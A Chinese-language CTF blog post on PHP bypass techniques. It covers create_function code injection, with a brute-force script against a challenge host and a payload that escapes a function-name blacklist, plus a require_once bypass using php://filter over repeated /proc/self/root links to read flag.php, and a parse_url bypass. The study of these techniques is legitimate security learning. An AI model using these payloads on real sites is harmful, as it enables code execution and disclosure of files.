关于php绕过

roko / 2024-08-07 / 原文

🚩create_function相关漏洞

  • 语法:args变量:声明函数的变量部分 code变量:执行的方法代码部分,用于出啊关键一个lambda样式的函数

    create_function(string $args,string $code)
    
  • 执行效果

    <?php
    $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    echo "New anonymous function: $newfunc\n";
    echo $newfunc(2, M_E) . "\n";
    // outputs
    // New anonymous function: lambda_1
    // ln(2) + ln(2.718281828459) = 1.6931471805599
    ?> 
    

  • 代码分析:create_frunction()函数会创建一个匿名函数(为lambda样式),并会在内部执行eval()函数,在这里也就是执行后面的return语句

  • create_function函数在调用之后会自动生成一个函数名为%00lambda_[0-999],并且后面的数字会逐步递增

  • 一个爆破的脚本

    import requests
    
    for i in range(0, 1000):
        url = 'http://38e5766a-a0ff-4daf-9222-f5eaca07e384.node5.buuoj.cn:81/?func_name=%00lambda_' + str(i)
        r = requests.get(url)
        if "flag" in r.text:
            print("flag:" + r.text)
            break
        print("再等等")
    
  • 利用create_function进行php绕过

    if(preg_match('/^[a-z0-9]*$/isD', $code) || 
    preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
        die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
    } else { 
        include "flag.php";
        $code('', $arg); 
    } 
    
  • $code和$arg可控,利用code('',$arg)进行create_function注入

    $arg=}代码;//,则}闭合了a(),同时//注释了后面的内容
    构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

🚩require_once 绕过不能重复包含文件的限制

  • 简介:在php中,文件包含机制是将已经包含的文件与文件的真是路径放进哈希表,require_once在调用时会检查该文件是否被包含过,如果是则不会再次包含,那么应该如何绕过这个机制呢

  • 示例代码

    <?php
    require_once('flag.php');
    highlight_file(__FILE__);
    if(isset($_GET['content'])) {
        $content = $_GET['content'];
        require_once($content);
    }
    
  • poc(/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过)

    php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
    

🚩parse_url()绕过

  • parse_url函数用来解析url,返回其组成部分(返回一个关联数组),该函数语法如下

     parse_url (url,commpent) : mixed
     //其中url为需要解析的url,commpent为指定的PHP_URL_SCHEME、 PHP_URL_HOST、 PHP_URL_PORT、 PHP_URL_USER、 PHP_URL_PASS、 PHP_URL_PATH、 PHP_URL_QUERY 或 PHP_URL_FRAGMENT 的其中一个来获取 URL 中指定的部分的 string
    
  • 绕过:使用///绕过